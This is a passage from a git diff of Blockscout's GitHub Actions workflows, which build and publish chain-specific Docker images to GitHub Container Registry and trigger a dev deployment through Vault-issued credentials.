}}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=scroll + + - name: Build and push Docker image for Scroll (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-scroll-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=scroll diff --git a/.github/workflows/pre-release-zilliqa.yml b/.github/workflows/pre-release-zilliqa.yml new file mode 100644 index 000000000000..b815fbdf180d --- /dev/null +++ b/.github/workflows/pre-release-zilliqa.yml @@ -0,0 +1,67 @@ +name: Pre-release for Zilliqa + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zilliqa-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zilliqa + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zilliqa-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zilliqa diff --git a/.github/workflows/pre-release-zksync.yml b/.github/workflows/pre-release-zksync.yml new file mode 100644 index 000000000000..b79a6a6e9cf6 --- /dev/null +++ b/.github/workflows/pre-release-zksync.yml @@ -0,0 +1,67 @@ +name: Pre-release for ZkSync + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for ZkSync (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zksync-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zksync + + - name: Build and push Docker image for ZkSync (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zksync-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zksync diff --git a/.github/workflows/pre-release.yml b/.github/workflows/pre-release.yml new file mode 100644 index 000000000000..d2ae5ff34532 --- /dev/null +++ b/.github/workflows/pre-release.yml @@ -0,0 +1,79 @@ +name: Pre-release + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build & Push Core Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-private:master, ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + + - name: Build & Push Core Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/public-release.yml b/.github/workflows/public-release.yml new file mode 100644 index 000000000000..243ae60a2e50 --- /dev/null +++ b/.github/workflows/public-release.yml @@ -0,0 +1,110 @@ +name: Public release publishing + +on: + workflow_dispatch: + inputs: + release_number: + description: 'Release number (e.g., v9.1.0)' + required: true + type: string + +jobs: + copy-bundle: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + + steps: + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Set source and target tags + run: | + RELEASE_NUMBER="${{ github.event.inputs.release_number }}" + SOURCE_TAG="${RELEASE_NUMBER}" + TARGET_TAG="${RELEASE_NUMBER}" + echo "SOURCE_TAG=${SOURCE_TAG}" >> $GITHUB_ENV + echo "TARGET_TAG=${TARGET_TAG}" >> $GITHUB_ENV + + - name: Copy chain-specific images from private to public repositories + run: | + RELEASE_NUMBER="${{ github.event.inputs.release_number }}" + + # Array of chain-specific repositories + CHAINS=( + "blockscout" + "blockscout-arbitrum" + "blockscout-celo" + "blockscout-ethereum" + "blockscout-filecoin" + "blockscout-fuse" + "blockscout-xdai" + "blockscout-optimism" + "blockscout-zkevm" + "blockscout-rsk" + "blockscout-scroll" + "blockscout-zetachain" + "blockscout-zilliqa" + "blockscout-zksync" + ) + + # Copy each chain-specific image + for CHAIN in "${CHAINS[@]}"; do + echo "Copying ${CHAIN}..." + + # Copy with the specific release number tag + docker buildx imagetools create \ + --tag ghcr.io/blockscout/${CHAIN}:${RELEASE_NUMBER} \ + ghcr.io/blockscout/${CHAIN}-private:${RELEASE_NUMBER} + + # Also copy with latest tag + docker buildx imagetools create \ + --tag ghcr.io/blockscout/${CHAIN}:latest \ + ghcr.io/blockscout/${CHAIN}-private:latest + + echo "✅ Completed copying ${CHAIN}" + done + + - name: Verify deployment + run: | + RELEASE_NUMBER="${{ github.event.inputs.release_number }}" + echo "🎉 All bundles successfully copied from private to public repositories" + echo "" + echo "🔗 All repositories copied:" + + CHAINS=( + "blockscout" + "blockscout-arbitrum" + "blockscout-celo" + "blockscout-ethereum" + "blockscout-filecoin" + "blockscout-fuse" + "blockscout-xdai" + "blockscout-optimism" + "blockscout-zkevm" + "blockscout-rsk" + "blockscout-scroll" + "blockscout-zetachain" + "blockscout-zilliqa" + "blockscout-zksync" + ) + + for CHAIN in "${CHAINS[@]}"; do + echo " ✅ ${CHAIN}-private -> ${CHAIN} (tags: ${RELEASE_NUMBER}, latest)" + done + + echo "" + echo "🔍 Inspecting main repository images:" + docker buildx imagetools inspect ghcr.io/blockscout/blockscout:${TARGET_TAG} + docker buildx imagetools inspect ghcr.io/blockscout/blockscout:latest diff --git a/.github/workflows/publish-docker-image-custom-build.yml b/.github/workflows/publish-docker-image-custom-build.yml new file mode 100644 index 000000000000..70d7c75f52a5 --- /dev/null +++ b/.github/workflows/publish-docker-image-custom-build.yml @@ -0,0 +1,58 @@ +name: Publish Custom Base Docker image (master + some commit(s)) + +on: + workflow_dispatch: + push: + branches: + - custom-build +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}-postrelease-custom-build-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}-postrelease-custom-build-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-docker-image-every-push.yml b/.github/workflows/publish-docker-image-every-push.yml index e15694d1a856..527c856e4af5 100644 --- a/.github/workflows/publish-docker-image-every-push.yml +++ b/.github/workflows/publish-docker-image-every-push.yml @@ -4,77 +4,117 @@ on: push: branches: - master + paths-ignore: + - 'CHANGELOG.md' + - '**/README.md' + - 'docker-compose/*' env: - OTP_VERSION: '24.3.4.1' - ELIXIR_VERSION: '1.13.4' - NEXT_RELEASE_VERSION: 5.0.0 + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + RELEASE_VERSION: 9.1.1 + +permissions: + contents: read + packages: write jobs: push_to_registry: - name: Push Docker image to Docker Hub + name: Push Docker image to GitHub Container Registry runs-on: ubuntu-latest - outputs: - release-version: ${{ steps.output-step.outputs.release-version }} - short-sha: ${{ steps.output-step.outputs.short-sha }} steps: - - name: Check out the repo - uses: actions/checkout@v3 - - - name: Set up QEMU - uses: docker/setup-qemu-action@v2 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Log in to Docker Hub - uses: docker/login-action@v2 + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup with: - username: ${{ secrets.DOCKER_USERNAME }} - password: ${{ secrets.DOCKER_PASSWORD }} + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} - - name: Extract metadata (tags, labels) for Docker - id: meta - uses: docker/metadata-action@v4 + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 with: - images: blockscout/blockscout - - - name: Add SHORT_SHA env property with commit short sha - run: echo "SHORT_SHA=`echo ${GITHUB_SHA} | cut -c1-8`" >> $GITHUB_ENV + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-private:master, ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}.commit.${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} - - name: Add outputs - run: | - echo "::set-output name=release-version::${{ env.NEXT_RELEASE_VERSION }}" - echo "::set-output name=short-sha::${{ env.SHORT_SHA }}" - id: output-step + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}.commit.${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} - - name: Build and push Docker image - uses: docker/build-push-action@v3 + - name: Build and push Docker image for frontend + uses: docker/build-push-action@v6 with: context: . file: ./docker/Dockerfile push: true - cache-from: type=registry,ref=blockscout/blockscout:buildcache - cache-to: type=registry,ref=blockscout/blockscout:buildcache,mode=max - tags: blockscout/blockscout:latest, blockscout/blockscout:${{ env.NEXT_RELEASE_VERSION }}-prerelease-${{ env.SHORT_SHA }} + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + tags: ghcr.io/blockscout/blockscout-private:frontend-main + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 build-args: | - CACHE_EXCHANGE_RATES_PERIOD= - DISABLE_READ_API=false - API_PATH= - NETWORK_PATH= - DISABLE_WEBAPP=false - DISABLE_WRITE_API=false - CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER= - WOBSERVER_ENABLED=false - ADMIN_PANEL_ENABLED=false - CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL= - DISABLE_BRIDGE_MARKET_CAP_UPDATER=false - CACHE_BRIDGE_MARKET_CAP_UPDATE_INTERVAL= - SOCKET_ROOT= - tests: + SESSION_COOKIE_DOMAIN=k8s-dev.blockscout.com + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + deploy_e2e: needs: push_to_registry - uses: blockscout/blockscout-ci-cd/.github/workflows/e2e_k8s.yaml@master - with: - blockscout_image: blockscout/blockscout:${{ needs.push_to_registry.outputs.release-version }}-prerelease-${{ needs.push_to_registry.outputs.short-sha }} - environment: 'test' - verification_image: 'ghcr.io/blockscout/verification:latest' - secrets: inherit + runs-on: ubuntu-latest + permissions: write-all + steps: + - name: Get Vault credentials + id: retrieve-vault-secrets + uses: hashicorp/vault-action@v2.4.1 + with: + url: https://vault.k8s.blockscout.com + role: ci-dev + path: github-jwt + method: jwt + tlsSkipVerify: false + exportToken: true + secrets: | + ci/data/dev/github token | WORKFLOW_TRIGGER_TOKEN ; + - name: Trigger deploy + uses: convictional/trigger-workflow-and-wait@v1.6.1 + with: + owner: blockscout + repo: deployment-values + github_token: ${{env.WORKFLOW_TRIGGER_TOKEN}} + workflow_file_name: deploy_blockscout.yaml + ref: main + wait_interval: 30 + client_payload: '{ "instance": "dev", "globalEnv": "e2e"}' diff --git a/.github/workflows/publish-docker-image-for-arbitrum.yml b/.github/workflows/publish-docker-image-for-arbitrum.yml new file mode 100644 index 000000000000..b091aa0fbe0b --- /dev/null +++ b/.github/workflows/publish-docker-image-for-arbitrum.yml @@ -0,0 +1,61 @@ +name: Arbitrum Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-arbitrum +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: arbitrum + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=arbitrum + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=arbitrum diff --git a/.github/workflows/publish-docker-image-for-celo.yml b/.github/workflows/publish-docker-image-for-celo.yml new file mode 100644 index 000000000000..6dca0b9b7d8e --- /dev/null +++ b/.github/workflows/publish-docker-image-for-celo.yml @@ -0,0 +1,65 @@ +name: Celo Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-celo +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: celo + API_GRAPHQL_MAX_COMPLEXITY: 10400 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for CELO (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + API_GRAPHQL_MAX_COMPLEXITY=${{ env.API_GRAPHQL_MAX_COMPLEXITY }} + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=${{ env.DOCKER_CHAIN_NAME }} + + - name: Build and push Docker image for CELO (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + API_GRAPHQL_MAX_COMPLEXITY=${{ env.API_GRAPHQL_MAX_COMPLEXITY }} + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=${{ env.DOCKER_CHAIN_NAME }} + diff --git a/.github/workflows/publish-docker-image-for-core.yml b/.github/workflows/publish-docker-image-for-core.yml new file mode 100644 index 000000000000..c022961dcce6 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-core.yml @@ -0,0 +1,43 @@ +name: POA Core Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-core +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: poa + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:latest, ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-docker-image-for-eth-sepolia.yml b/.github/workflows/publish-docker-image-for-eth-sepolia.yml new file mode 100644 index 000000000000..d70231efd308 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-eth-sepolia.yml @@ -0,0 +1,61 @@ +name: ETH Sepolia Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-eth-sepolia +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: eth-sepolia + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:latest, ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum diff --git a/.github/workflows/publish-docker-image-for-eth.yml b/.github/workflows/publish-docker-image-for-eth.yml new file mode 100644 index 000000000000..ce1eb4e004c5 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-eth.yml @@ -0,0 +1,61 @@ +name: ETH Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-eth +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: ethereum + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum diff --git a/.github/workflows/publish-docker-image-for-filecoin.yml b/.github/workflows/publish-docker-image-for-filecoin.yml new file mode 100644 index 000000000000..9ee91816faaf --- /dev/null +++ b/.github/workflows/publish-docker-image-for-filecoin.yml @@ -0,0 +1,60 @@ +name: Publish Docker image for specific chain branches + +on: + push: + branches: + - production-filecoin +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: filecoin + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Filecoin (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: 